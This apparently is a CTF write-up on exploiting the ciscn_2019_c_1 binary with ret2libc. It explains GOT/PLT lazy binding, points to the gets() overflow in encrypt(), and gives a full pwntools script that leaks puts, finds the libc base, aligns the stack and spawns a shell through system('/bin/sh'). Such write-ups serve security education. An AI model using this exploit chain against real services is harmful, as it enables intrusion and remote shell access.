Ret2libc Exploitation of ciscn_2019_c_1 with Stack Alignment

Dynamic Linking and GOT/PLT Mechanism

Shared libraries utilize position-independent code. When a dynamic library is mapped into memory, a base address is added to the file offsets to calculate the actual runtime addresses. The relationship remains constant: runtime_address = base_address + file_offset.

The Procedure Linkage Table (PLT) and Global Offset Table (GOT) facilitate lazy binding for external function calls. The PLT acts as a stub that jumps to the address stored in the corresponding GOT entry. Initially, the GOT entry points back to the PLT to invoke the dynamic resolver. Once resolved, the GOT holds the actual memory address of the function. Internal function calls bypass these tables entirely, using direct addressing.

# External function call via PLT
call printf@plt

# Internal function call directly
call add

Vulnerability Analysis

The binary has NX (Non-Executable Stack) enabled. Decompiling the binary reveals a buffer overflow vulnerability in the encrypt function due to the use of the dangerous gets function. The input buffer is also subjected to an XOR cipher, which modifies the payload characters before they are printed.

int encrypt() {
    char buffer[48];
    memset(buffer, 0, sizeof(buffer));
    puts("Input your Plaintext to be encrypted");
    gets(buffer); // Vulnerable point
    // ... XOR loop ...
}

Since the binary does not contain a system function or a /bin/sh string, a ret2libc attack is required. This approach involves two stages: first, leaking the runtime address of a loaded libc function to calculate the library base, and second, returning to system with /bin/sh as an argument.

Exploit Development

Stage 1 crafts a payload to overflow the buffer, populate the rdi register with the GOT entry of puts using a pop rdi; ret gadget, call puts@plt to print the leaked address, and then return to main for a second interaction.

Stage 2 calculates the libc base address from the leaked puts address. It then constructs a second payload that aligns the stack (required for Ubuntu 18+ environments), sets rdi to point to the /bin/sh string, and calls system.

from pwn import *
from LibcSearcher import LibcSearcher

context(arch='amd64', os='linux', log_level='debug')

target_elf = ELF('./ciscn_2019_c_1')
plt_puts = target_elf.plt['puts']
got_puts = target_elf.got['puts']
entry_main = target_elf.symbols['main']

GADGET_POP_RDI = 0x400c83
ALIGN_RET = 0x4006b9

io = remote('target.host', 9999)

# Stage 1: Leak puts address
overflow_offset = 0x50 + 8
stage1 = b'A' * overflow_offset
stage1 += p64(GADGET_POP_RDI) + p64(got_puts)
stage1 += p64(plt_puts)
stage1 += p64(entry_main)

io.sendlineafter(b'Input your choice!\n', b'1')
io.sendlineafter(b'Input your Plaintext to be encrypted\n', stage1)

io.recvuntil(b'Ciphertext\n')
io.recvline()
leaked_puts = u64(io.recv(7).ljust(8, b'\x00'))

# Calculate libc offsets
libc_obj = LibcSearcher('puts', leaked_puts)
calculated_base = leaked_puts - libc_obj.dump('puts')
addr_system = calculated_base + libc_obj.dump('system')
addr_binsh = calculated_base + libc_obj.dump('str_bin_sh')

# Stage 2: Spawn shell
stage2 = b'A' * overflow_offset
stage2 += p64(ALIGN_RET)
stage2 += p64(GADGET_POP_RDI) + p64(addr_binsh)
stage2 += p64(addr_system)

io.sendlineafter(b'Input your choice!\n', b'1')
io.sendlineafter(b'Input your Plaintext to be encrypted\n', stage2)

io.interactive()

Tags: Pwn ret2libc ROP buffer-overflow ciscn2019

Posted on Thu, 01 Oct 2026 16:41:33 +0000 by cstevio